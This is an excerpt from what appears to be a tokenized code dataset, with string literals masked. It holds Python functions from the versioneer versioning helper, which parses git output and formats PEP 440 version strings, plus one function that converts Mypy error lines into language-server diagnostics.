command(s).", "id": "f3617:m3"}
{"signature": "def versions_from_parentdir(parentdir_prefix, root, verbose):", "body": "rootdirs = []<EOL>for i in range(<NUM_LIT:3>):<EOL><INDENT>dirname = os.path.basename(root)<EOL>if dirname.startswith(parentdir_prefix):<EOL><INDENT>return {\"<STR_LIT:version>\": dirname[len(parentdir_prefix):],<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None, \"<STR_LIT:date>\": None}<EOL><DEDENT>else:<EOL><INDENT>rootdirs.append(root)<EOL>root = os.path.dirname(root)  <EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" %<EOL>(str(rootdirs), parentdir_prefix))<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL>", "docstring": "Try to determine the version from the parent directory name.\n\n    Source tarballs conventionally unpack into a directory that includes both\n    the project name and a version string. We will also support searching up\n    two directory levels for an appropriately named parent directory", "id": "f3617:m4"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_get_keywords(versionfile_abs):", "body": "<EOL>keywords = {}<EOL>try:<EOL><INDENT>f = open(versionfile_abs, \"<STR_LIT:r>\")<EOL>for line in f.readlines():<EOL><INDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT:date>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>f.close()<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>pass<EOL><DEDENT>return keywords<EOL>", "docstring": "Extract version information from the given file.", "id": "f3617:m5"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_versions_from_keywords(keywords, tag_prefix, verbose):", "body": "if not keywords:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>date = keywords.get(\"<STR_LIT:date>\")<EOL>if date is not None:<EOL><INDENT>date = date.strip().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:T>\", <NUM_LIT:1>).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\", <NUM_LIT:1>)<EOL><DEDENT>refnames = keywords[\"<STR_LIT>\"].strip()<EOL>if refnames.startswith(\"<STR_LIT>\"):<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>refs = set([r.strip() for r in refnames.strip(\"<STR_LIT>\").split(\"<STR_LIT:U+002C>\")])<EOL>TAG = \"<STR_LIT>\"<EOL>tags = set([r[len(TAG):] for r in refs if r.startswith(TAG)])<EOL>if not tags:<EOL><INDENT>tags = set([r for r in refs if re.search(r'<STR_LIT>', r)])<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(refs - tags))<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(sorted(tags)))<EOL><DEDENT>for ref in sorted(tags):<EOL><INDENT>if ref.startswith(tag_prefix):<EOL><INDENT>r = ref[len(tag_prefix):]<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % r)<EOL><DEDENT>return {\"<STR_LIT:version>\": r,<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None,<EOL>\"<STR_LIT:date>\": date}<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": \"<STR_LIT>\", \"<STR_LIT:date>\": None}<EOL>", "docstring": "Get version information from git keywords.", "id": "f3617:m6"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_pieces_from_vcs(tag_prefix, root, verbose, run_command=run_command):", "body": "GITS = [\"<STR_LIT>\"]<EOL>if sys.platform == \"<STR_LIT:win32>\":<EOL><INDENT>GITS = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL><DEDENT>out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root,<EOL>hide_stderr=True)<EOL>if rc != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % root)<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\" % tag_prefix],<EOL>cwd=root)<EOL>if describe_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out = describe_out.strip()<EOL>full_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root)<EOL>if full_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>full_out = full_out.strip()<EOL>pieces = {}<EOL>pieces[\"<STR_LIT>\"] = full_out<EOL>pieces[\"<STR_LIT>\"] = full_out[:<NUM_LIT:7>]  <EOL>pieces[\"<STR_LIT:error>\"] = None<EOL>git_describe = describe_out<EOL>dirty = git_describe.endswith(\"<STR_LIT>\")<EOL>pieces[\"<STR_LIT>\"] = dirty<EOL>if dirty:<EOL><INDENT>git_describe = git_describe[:git_describe.rindex(\"<STR_LIT>\")]<EOL><DEDENT>if \"<STR_LIT:->\" in git_describe:<EOL><INDENT>mo = re.search(r'<STR_LIT>', git_describe)<EOL>if not mo:<EOL><INDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% describe_out)<EOL>return pieces<EOL><DEDENT>full_tag = mo.group(<NUM_LIT:1>)<EOL>if not full_tag.startswith(tag_prefix):<EOL><INDENT>if verbose:<EOL><INDENT>fmt = \"<STR_LIT>\"<EOL>print(fmt % (full_tag, tag_prefix))<EOL><DEDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% (full_tag, tag_prefix))<EOL>return pieces<EOL><DEDENT>pieces[\"<STR_LIT>\"] = full_tag[len(tag_prefix):]<EOL>pieces[\"<STR_LIT>\"] = int(mo.group(<NUM_LIT:2>))<EOL>pieces[\"<STR_LIT>\"] = mo.group(<NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>pieces[\"<STR_LIT>\"] = None<EOL>count_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)<EOL>pieces[\"<STR_LIT>\"] = int(count_out)  <EOL><DEDENT>date = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)[<NUM_LIT:0>].strip()<EOL>pieces[\"<STR_LIT:date>\"] = date.strip().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:T>\", <NUM_LIT:1>).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\", <NUM_LIT:1>)<EOL>return pieces<EOL>", "docstring": "Get version from 'git describe' in the root of the source tree.\n\n    This only gets called if the git-archive 'subst' keywords were *not*\n    expanded, and _version.py hasn't already been rewritten with a short\n    version string, meaning we're inside a checked out source tree.", "id": "f3617:m7"}
{"signature": "def plus_or_dot(pieces):", "body": "if \"<STR_LIT:+>\" in pieces.get(\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>return \"<STR_LIT:.>\"<EOL><DEDENT>return \"<STR_LIT:+>\"<EOL>", "docstring": "Return a + if we don't already have one, else return a .", "id": "f3617:m8"}
{"signature": "def render_pep440(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"],<EOL>pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "Build up version string, with post-release \"local version identifier\".\n\n    Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if you\n    get a tagged build and then dirty it, you'll get TAG+0.gHEX.dirty\n\n    Exceptions:\n    1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty]", "id": "f3617:m9"}
{"signature": "def render_pep440_pre(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.post.devDISTANCE] -- No -dirty.\n\n    Exceptions:\n    1: no tags. 0.post.devDISTANCE", "id": "f3617:m10"}
{"signature": "def render_pep440_post(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]+gHEX] .\n\n    The \".dev0\" means dirty. Note that .dev0 sorts backwards\n    (a dirty tree will appear \"older\" than the corresponding clean one),\n    but you shouldn't be releasing software with -dirty anyways.\n\n    Exceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f3617:m11"}
{"signature": "def render_pep440_old(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]] .\n\n    The \".dev0\" means dirty.\n\n    Eexceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f3617:m12"}
{"signature": "def render_git_describe(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[-DISTANCE-gHEX][-dirty].\n\n    Like 'git describe --tags --dirty --always'.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f3617:m13"}
{"signature": "def render_git_describe_long(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG-DISTANCE-gHEX[-dirty].\n\n    Like 'git describe --tags --dirty --always -long'.\n    The distance/hash is unconditional.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f3617:m14"}
{"signature": "def render(pieces, style):", "body": "if pieces[\"<STR_LIT:error>\"]:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": pieces.get(\"<STR_LIT>\"),<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": pieces[\"<STR_LIT:error>\"],<EOL>\"<STR_LIT:date>\": None}<EOL><DEDENT>if not style or style == \"<STR_LIT:default>\":<EOL><INDENT>style = \"<STR_LIT>\"  <EOL><DEDENT>if style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_pre(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_post(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_old(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe_long(pieces)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % style)<EOL><DEDENT>return {\"<STR_LIT:version>\": rendered, \"<STR_LIT>\": pieces[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": pieces[\"<STR_LIT>\"], \"<STR_LIT:error>\": None,<EOL>\"<STR_LIT:date>\": pieces.get(\"<STR_LIT:date>\")}<EOL>", "docstring": "Render the given version pieces into the requested style.", "id": "f3617:m15"}
{"signature": "def get_versions():", "body": "<EOL>cfg = get_config()<EOL>verbose = cfg.verbose<EOL>try:<EOL><INDENT>return git_versions_from_keywords(get_keywords(), cfg.tag_prefix,<EOL>verbose)<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>root = os.path.realpath(__file__)<EOL>for i in cfg.versionfile_source.split('<STR_LIT:/>'):<EOL><INDENT>root = os.path.dirname(root)<EOL><DEDENT><DEDENT>except NameError:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:date>\": None}<EOL><DEDENT>try:<EOL><INDENT>pieces = git_pieces_from_vcs(cfg.tag_prefix, root, verbose)<EOL>return render(pieces, cfg.style)<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>if cfg.parentdir_prefix:<EOL><INDENT>return versions_from_parentdir(cfg.parentdir_prefix, root, verbose)<EOL><DEDENT><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": \"<STR_LIT>\", \"<STR_LIT:date>\": None}<EOL>", "docstring": "Get version information or return default if unable to do so.", "id": "f3617:m16"}
{"signature": "def parse_line(line, document=None):", "body": "result = re.match(line_pattern, line)<EOL>if result:<EOL><INDENT>_, lineno, offset, severity, msg = result.groups()<EOL>lineno = int(lineno or <NUM_LIT:1>)<EOL>offset = int(offset or <NUM_LIT:0>)<EOL>errno = <NUM_LIT:2><EOL>if severity == '<STR_LIT:error>':<EOL><INDENT>errno = <NUM_LIT:1><EOL><DEDENT>diag = {<EOL>'<STR_LIT:source>': '<STR_LIT>',<EOL>'<STR_LIT>': {<EOL>'<STR_LIT:start>': {'<STR_LIT>': lineno - <NUM_LIT:1>, '<STR_LIT>': offset},<EOL>'<STR_LIT:end>': {'<STR_LIT>': lineno - <NUM_LIT:1>, '<STR_LIT>': offset + <NUM_LIT:1>}<EOL>},<EOL>'<STR_LIT:message>': msg,<EOL>'<STR_LIT>': errno<EOL>}<EOL>if document:<EOL><INDENT>word = document.word_at_position(diag['<STR_LIT>']['<STR_LIT:start>'])<EOL>if word:<EOL><INDENT>diag['<STR_LIT>']['<STR_LIT:end>']['<STR_LIT>'] = (<EOL>diag['<STR_LIT>']['<STR_LIT:start>']['<STR_LIT>'] + len(word))<EOL><DEDENT><DEDENT>return diag<EOL><DEDENT>", "docstring": "Return a language-server diagnostic from a line of the Mypy error report;\noptionally, use the whole document to provide more context on it.", "id": "f3619:m0"}
{"signature": "def get_root():", "body": "root = os.path.realpath(os.path.abspath(os.getcwd()))<EOL>setup_py = os.path.join(root, \"<STR_LIT>\")<EOL>versioneer_py = os.path.join(root, \"<STR_LIT>\")<EOL>if not (os.path.exists(setup_py) or os.path.exists(versioneer_py)):<EOL><INDENT>root = os.path.dirname(os.path.realpath(os.path.abspath(sys.argv[<NUM_LIT:0>])))<EOL>setup_py = os.path.join(root, \"<STR_LIT>\")<EOL>versioneer_py = os.path.join(root, \"<STR_LIT>\")<EOL><DEDENT>if not (os.path.exists(setup_py) or os.path.exists(versioneer_py)):<EOL><INDENT>err = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>raise VersioneerBadRootError(err)<EOL><DEDENT>try:<EOL><INDENT>me = os.path.realpath(os.path.abspath(__file__))<EOL>me_dir = os.path.normcase(os.path.splitext(me)[<NUM_LIT:0>])<EOL>vsr_dir = os.path.normcase(os.path.splitext(versioneer_py)[<NUM_LIT:0>])<EOL>if me_dir != vsr_dir:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>% (os.path.dirname(me), versioneer_py))<EOL><DEDENT><DEDENT>except NameError:<EOL><INDENT>pass<EOL><DEDENT>return root<EOL>", "docstring": "Get the project root directory.\n\n    We require that all commands are run from the project root, i.e. the\n    directory that contains setup.py, setup.cfg, and versioneer.py .", "id": "f3620:m0"}
{"signature": "def get_config_from_root(root):", "body": "<EOL>setup_cfg = os.path.join(root, \"<STR_LIT>\")<EOL>parser = configparser.SafeConfigParser()<EOL>with open(setup_cfg, \"<STR_LIT:r>\") as f:<EOL><INDENT>parser.readfp(f)<EOL><DEDENT>VCS = parser.get(\"<STR_LIT>\", \"<STR_LIT>\")  <EOL>def get(parser, name):<EOL><INDENT>if parser.has_option(\"<STR_LIT>\", name):<EOL><INDENT>return parser.get(\"<STR_LIT>\", name)<EOL><DEDENT>return None<EOL><DEDENT>cfg = VersioneerConfig()<EOL>cfg.VCS = VCS<EOL>cfg.style = get(parser, \"<STR_LIT>\") or \"<STR_LIT>\"<EOL>cfg.versionfile_source = get(parser, \"<STR_LIT>\")<EOL>cfg.versionfile_build = get(parser, \"<STR_LIT>\")<EOL>cfg.tag_prefix = get(parser, \"<STR_LIT>\")<EOL>if cfg.tag_prefix in (\"<STR_LIT>\", '<STR_LIT>'):<EOL><INDENT>cfg.tag_prefix = \"<STR_LIT>\"<EOL><DEDENT>cfg.parentdir_prefix = get(parser, \"<STR_LIT>\")<EOL>cfg.verbose = get(parser, \"<STR_LIT>\")<EOL>return cfg<EOL>", "docstring": "Read the project setup.cfg file to determine Versioneer config.", "id": "f3620:m1"}
{"signature": "def register_vcs_handler(vcs, method):  ", "body": "def decorate(f):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if vcs not in HANDLERS:<EOL><INDENT>HANDLERS[vcs] = {}<EOL><DEDENT>HANDLERS[vcs][method] = f<EOL>return f<EOL><DEDENT>return decorate<EOL>", "docstring": "Decorator to mark a method as the handler for a particular VCS.", "id": "f3620:m2"}
{"signature": "def run_command(commands, args, cwd=None, verbose=False, hide_stderr=False,<EOL>env=None):", "body": "assert isinstance(commands, list)<EOL>p = None<EOL>for c in commands:<EOL><INDENT>try:<EOL><INDENT>dispcmd = str([c] + args)<EOL>p = subprocess.Popen([c] + args, cwd=cwd, env=env,<EOL>stdout=subprocess.PIPE,<EOL>stderr=(subprocess.PIPE if hide_stderr<EOL>else None))<EOL>break<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>e = sys.exc_info()[<NUM_LIT:1>]<EOL>if e.errno == errno.ENOENT:<EOL><INDENT>continue<EOL><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(e)<EOL><DEDENT>return None, None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % (commands,))<EOL><DEDENT>return None, None<EOL><DEDENT>stdout = p.communicate()[<NUM_LIT:0>].strip()<EOL>if sys.version_info[<NUM_LIT:0>] >= <NUM_LIT:3>:<EOL><INDENT>stdout = stdout.decode()<EOL><DEDENT>if p.returncode != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(\"<STR_LIT>\" % stdout)<EOL><DEDENT>return None, p.returncode<EOL><DEDENT>return stdout, p.returncode<EOL>", "docstring": "Call the given command(s).", "id": "f3620:m3"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_get_keywords(versionfile_abs):", "body": "<EOL>keywords = {}<EOL>try:<EOL><INDENT>f = open(versionfile_abs, \"<STR_LIT:r>\")<EOL>for line in f.readlines():<EOL><INDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT:date>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>f.close()<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>pass<EOL><DEDENT>return keywords<EOL>", "docstring": "Extract version information from the given file.", "id": "f3620:m4"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_versions_from_keywords(keywords, tag_prefix, verbose):", "body": "if not keywords:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>date = keywords.get(\"<STR_LIT:date>\")<EOL>if date is not None:<EOL><INDENT>date = date.strip().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:T>\", <NUM_LIT:1>).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\", <NUM_LIT:1>)<EOL><DEDENT>refnames = keywords[\"<STR_LIT>\"].strip()<EOL>if refnames.startswith(\"<STR_LIT>\"):<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>refs = set([r.strip() for r in refnames.strip(\"<STR_LIT>\").split(\"<STR_LIT:U+002C>\")])<EOL>TAG = \"<STR_LIT>\"<EOL>tags = set([r[len(TAG):] for r in refs if r.startswith(TAG)])<EOL>if not tags:<EOL><INDENT>tags = set([r for r in refs if re.search(r'<STR_LIT>', r)])<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(refs - tags))<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(sorted(tags)))<EOL><DEDENT>for ref in sorted(tags):<EOL><INDENT>if ref.startswith(tag_prefix):<EOL><INDENT>r = ref[len(tag_prefix):]<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % r)<EOL><DEDENT>return {\"<STR_LIT:version>\": r,<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None,<EOL>\"<STR_LIT:date>\": date}<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": \"<STR_LIT>\", \"<STR_LIT:date>\": None}<EOL>", "docstring": "Get version information from git keywords.", "id": "f3620:m5"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_pieces_from_vcs(tag_prefix, root, verbose, run_command=run_command):", "body": "GITS = [\"<STR_LIT>\"]<EOL>if sys.platform == \"<STR_LIT:win32>\":<EOL><INDENT>GITS = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL><DEDENT>out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root,<EOL>hide_stderr=True)<EOL>if rc != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % root)<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\" % tag_prefix],<EOL>cwd=root)<EOL>if describe_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out = describe_out.strip()<EOL>full_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root)<EOL>if full_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>full_out = full_out.strip()<EOL>pieces = {}<EOL>pieces[\"<STR_LIT>\"] = full_out<EOL>pieces[\"<STR_LIT>\"] = full_out[:<NUM_LIT:7>]  <EOL>pieces[\"<STR_LIT:error>\"] = None<EOL>git_describe = describe_out<EOL>dirty = git_describe.endswith(\"<STR_LIT>\")<EOL>pieces[\"<STR_LIT>\"] = dirty<EOL>if dirty:<EOL><INDENT>git_describe = git_describe[:git_describe.rindex(\"<STR_LIT>\")]<EOL><DEDENT>if \"<STR_LIT:->\" in git_describe:<EOL><INDENT>mo = re.search(r'<STR_LIT>', git_describe)<EOL>if not mo:<EOL><INDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% describe_out)<EOL>return pieces<EOL><DEDENT>full_tag = mo.group(<NUM_LIT:1>)<EOL>if not full_tag.startswith(tag_prefix):<EOL><INDENT>if verbose:<EOL><INDENT>fmt = \"<STR_LIT>\"<EOL>print(fmt % (full_tag, tag_prefix))<EOL><DEDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% (full_tag, tag_prefix))<EOL>return pieces<EOL><DEDENT>pieces[\"<STR_LIT>\"] = full_tag[len(tag_prefix):]<EOL>pieces[\"<STR_LIT>\"] = int(mo.group(<NUM_LIT:2>))<EOL>pieces[\"<STR_LIT>\"] = mo.group(<NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>pieces[\"<STR_LIT>\"] = None<EOL>count_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)<EOL>pieces[\"<STR_LIT>\"] = int(count_out)  <EOL><DEDENT>date = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)[<NUM_LIT:0>].strip()<EOL>pieces[\"<STR_LIT:date>\"] = date.strip().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:T>\", <NUM_LIT:1>).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\", <NUM_LIT:1>)<EOL>return pieces<EOL>", 